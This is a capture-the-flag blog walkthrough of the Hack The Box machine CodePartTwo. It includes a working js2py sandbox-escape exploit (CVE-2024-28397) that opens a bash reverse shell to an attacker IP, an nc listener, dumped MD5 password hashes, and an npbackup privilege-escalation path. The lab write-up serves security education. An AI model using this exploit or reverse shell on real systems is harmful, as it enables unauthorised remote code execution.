Logo Havoc Hacking Articles

HTB CodePartTwo Walkthrough

HTB CodePartTwo - Full Walkthrough and Exploitation Guide

Oct 29, 2025 - 6 minute read
feature image challenges

🎯 Machine Overview

Operating System: Linux

Difficulty: Easy

Key Skills: Enumeration, Web Application Analysis, Credential Discovery, Privilege Escalation


🔍 Initial Foothold

The machine exposes two primary services:

  • Port 22: SSH (OpenSSH 8.2p1)
  • Port 8000: HTTP (Gunicorn 20.0.4)

The web application running on port 8000 presents a login interface with registration and app download functionality. The downloadable application is provided as a Python-based zip archive, which becomes a critical component for understanding the application’s inner workings and identifying potential vulnerabilities.

🎯 Attack Surface

Success on this machine hinges on thorough enumeration and analysis of the web application. Players must carefully examine the downloaded Python application to discover vulnerabilities that can be exploited for initial access. The path to root involves exploiting misconfigurations in group permissions and path hijacking techniques.

Note: This machine includes DoS protections, so brute-force approaches should be avoided in favor of methodical enumeration and exploitation of confirmed vulnerabilities.


🔎 ENUMERATION

Port Scanning

nmap.png

We add the IP to our /etc/hosts file and navigate to codeparttwo:8000 to discover the web interface.

8000.png

Web Application Analysis

After creating a user and logging in, we’re presented with a clean interface:

interface.png

The application allows us to run code, but the Download button catches our attention. Let’s investigate what’s inside.

Source Code Discovery

After downloading and unzipping the application, we find several interesting files:

unzip.png

The users.db database appears empty at first glance:

sqlite.png

Analyzing app.py

Let’s examine the application source code:

┌──(venv)(havoc㉿havoc)-[~/Downloads/htb/codetwo/app]
└─$ cat [app.py](<http://app.py>)                                                      
from flask import Flask, render_template, request, redirect, url_for, session, jsonify, send_from_directory
from flask_sqlalchemy import SQLAlchemy
import hashlib
import js2py
import os
import json

js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = 'S3cr3tK3yC0d3PartTw0'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password_hash = db.Column(db.String(128), nullable=False)

class CodeSnippet(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey('[user.id](<http://user.id>)'), nullable=False)
    code = db.Column(db.Text, nullable=False)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/dashboard')
def dashboard():
    if 'user_id' in session:
        user_codes = CodeSnippet.query.filter_by(user_id=session['user_id']).all()
        return render_template('dashboard.html', codes=user_codes)
    return redirect(url_for('login'))

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        password_hash = [hashlib.md](<http://hashlib.md>)5(password.encode()).hexdigest()
        new_user = User(username=username, password_hash=password_hash)
        db.session.add(new_user)
        db.session.commit()
        return redirect(url_for('login'))
    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        password_hash = [hashlib.md](<http://hashlib.md>)5(password.encode()).hexdigest()
        user = User.query.filter_by(username=username, password_hash=password_hash).first()
        if user:
            session['user_id'] = [user.id](<http://user.id>)
            session['username'] = username;
            return redirect(url_for('dashboard'))
        return "Invalid credentials"
    return render_template('login.html')

@app.route('/logout')
def logout():
    session.pop('user_id', None)
    return redirect(url_for('index'))

@app.route('/save_code', methods=['POST'])
def save_code():
    if 'user_id' in session:
        code = request.json.get('code')
        new_code = CodeSnippet(user_id=session['user_id'], code=code)
        db.session.add(new_code)
        db.session.commit()
        return jsonify({"message": "Code saved successfully"})
    return jsonify({"error": "User not logged in"}), 401

@app.route('/download')
def download():
    return send_from_directory(directory='/home/app/app/static/', path='[app.zip](<http://app.zip>)', as_attachment=True)

@app.route('/delete_code/<int:code_id>', methods=['POST'])
def delete_code(code_id):
    if 'user_id' in session:
        code = CodeSnippet.query.get(code_id)
        if code and code.user_id == session['user_id']:
            db.session.delete(code)
            db.session.commit()
            return jsonify({"message": "Code deleted successfully"})
        return jsonify({"error": "Code not found"}), 404
    return jsonify({"error": "User not logged in"}), 401

@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})

if __name__ == '__main__':
    with [app.app](<http://app.app>)_context():
        db.create_all()
    [app.run](<http://app.run>)(host='0.0.0.0', debug=True)

Identifying the Vulnerability

Checking requirements.txt to find the js2py version:

requirement.png

A quick Google search reveals a critical vulnerability: CVE-2024-28397


💥 EXPLOITATION

CVE-2024-28397: Sandbox Escape

We found a Proof of Concept exploit for the js2py vulnerability that allows sandbox escape!

Crafting the Exploit

Starting our penelope listener:

nc -lvnp 4444

We modify the POC to execute a bash reverse shell:

// Bash reverse shell
var hacked = Object.getOwnPropertyNames({});
var attr = hacked.__getattribute__;
var obj = attr("__getattribute__")("__class__").__base__;

function findPopen(o) {
    try {
        var subs = o.__subclasses__();
        for (var i = 0; i < subs.length; i++) {
            var item = subs[i];
            if (item && item.__module__ === "subprocess" && item.__name__ === "Popen") {
                return item;
            }
        }
    } catch(e) {}
    return null;
}

var Popen = findPopen(obj);
if (Popen) {
    var cmd = "bash -c 'bash -i >& /dev/tcp/10.10.14.70/4444 0>&1'";
    Popen(cmd, -1, null, -1, -1, -1, null, null, true);
}

Getting Initial Access

We paste the modified exploit code into the web interface:

int.png

Hit Run and wait for the shell to connect…

shell1.png


👤 USER FLAG

Credential Discovery

Now let’s examine the users.db file from inside the system:

usersdb.png

We discover multiple user credentials:

1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
3|havoc|6c1bcb0e242008cc6386e0f7e6c91eee
4|admin|21232f297a57a5a743894a0e4a801fc3

Cracking the Hash

We crack Marco’s MD5 hash:

crackstation.png

Switching Users

Instead of SSH, we can simply switch users from our current shell:

su marco

usertxt.png

We’re now logged in as Marco and can grab the user.txt flag! 🚩


👑 PRIVILEGE ESCALATION TO ROOT

Checking Sudo Privileges

Let’s check what Marco can run with sudo:

priv.png

Analyzing the Configuration

We notice a npbackup.conf file in Marco’s home directory:

marco@codeparttwo:~$ cat npbackup.conf
conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri: 
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    repo_group: default_group
    backup_opts:
      paths:
      - /home/app/app/
      source_type: folder_list
      exclude_files_larger_than: 0.0
    repo_opts:
      repo_password: 
        __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
      retention_policy: {}
      prune_max_unused: 0
    prometheus: {}
    env: {}
    is_protected: false
groups:
  default_group:
    backup_opts:
      paths: []
      source_type:
      stdin_from_command:
      stdin_filename:
      tags: []
      compression: auto
      use_fs_snapshot: true
      ignore_cloud_files: true
      one_file_system: false
      priority: low
      exclude_caches: true
      excludes_case_ignore: false
      exclude_files:
      - excludes/generic_excluded_extensions
      - excludes/generic_excludes
      - excludes/windows_excludes
      - excludes/linux_excludes
      exclude_patterns: []
      exclude_files_larger_than:
      additional_parameters:
      additional_backup_only_parameters:
      minimum_backup_size_error: 10 MiB
      pre_exec_commands: []
      pre_exec_per_command_timeout: 3600
      pre_exec_failure_is_fatal: false
      post_exec_commands: []
      post_exec_per_command_timeout: 3600
      post_exec_failure_is_fatal: false
      post_exec_execute_even_on_backup_error: true
      post_backup_housekeeping_percent_chance: 0
      post_backup_housekeeping_interval: 0
    repo_opts:
      repo_password:
      repo_password_command:
      minimum_backup_age: 1440
      upload_speed: 800 Mib
      download_speed: 0 Mib
      backend_connections: 0
      retention_policy:
        last: 3
        hourly: 72
        daily: 30
        weekly: 4
        monthly: 12
        yearly: 3
        tags: []
        keep_within: true
        group_by_host: true
        group_by_tags: true
        group_by_paths: false
        ntp_server:
      prune_max_unused: 0 B
      prune_max_repack_size:
    prometheus:
      backup_job: ${MACHINE_ID}
      group: ${MACHINE_GROUP}
    env:
      env_variables: {}
      encrypted_env_variables: {}
    is_protected: false
identity:
  machine_id: ${HOSTNAME}__blw0
  machine_group:
global_prometheus:
  metrics: false
  instance: ${MACHINE_ID}
  destination:
  http_username:
  http_password:
  additional_labels: {}
  no_cert_verify: false
global_options:
  auto_upgrade: false
  auto_upgrade_percent_chance: 5
  auto_upgrade_interval: 15
  auto_upgrade_server_url:
  auto_upgrade_server_username:
  auto_upgrade_server_password:
  auto_upgrade_host_identity: ${MACHINE_ID}
  auto_upgrade_group: ${MACHINE_GROUP}

Exploiting npbackup

The configuration shows that backups are created from /home/app/app/. We can leverage this by modifying the backup path to access root-owned files!

We create a malicious configuration file in /tmp and change the backup path to /root:

back.png

Creating the Snapshot

We get a snapshot ID. Let’s explore it:

snap.png

It’s juicy! We now have access to the root directory contents through the backup snapshot.

Capturing the Root Flag

Using the same technique, we dump the root flag:

root.png


🎊 PWNED!

flag.png

Happy Hacking! 🔥